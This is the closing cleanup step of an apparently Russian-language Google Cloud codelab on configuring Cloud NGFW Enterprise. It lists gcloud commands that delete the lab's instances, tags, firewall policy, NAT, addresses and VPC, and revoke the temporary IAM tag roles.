gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region

gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone

Удалить экземпляры:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

При необходимости выполните следующие действия, если роли tagAdmin и tagUsers были изменены:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Удалите ключ и значения тега:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Удалите сетевую политику и связь облачного брандмауэра:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Удалите Cloud Router и Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Удалить зарезервированные IP-адреса:

gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Наконец, удалите подсеть и сеть VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

9. Поздравляем!

Поздравляем, вы успешно завершили практическое занятие по настройке облачного межсетевого экрана нового поколения (NGFW Enterprise) для инспекций в направлениях Восток-Запад и Север-Юг.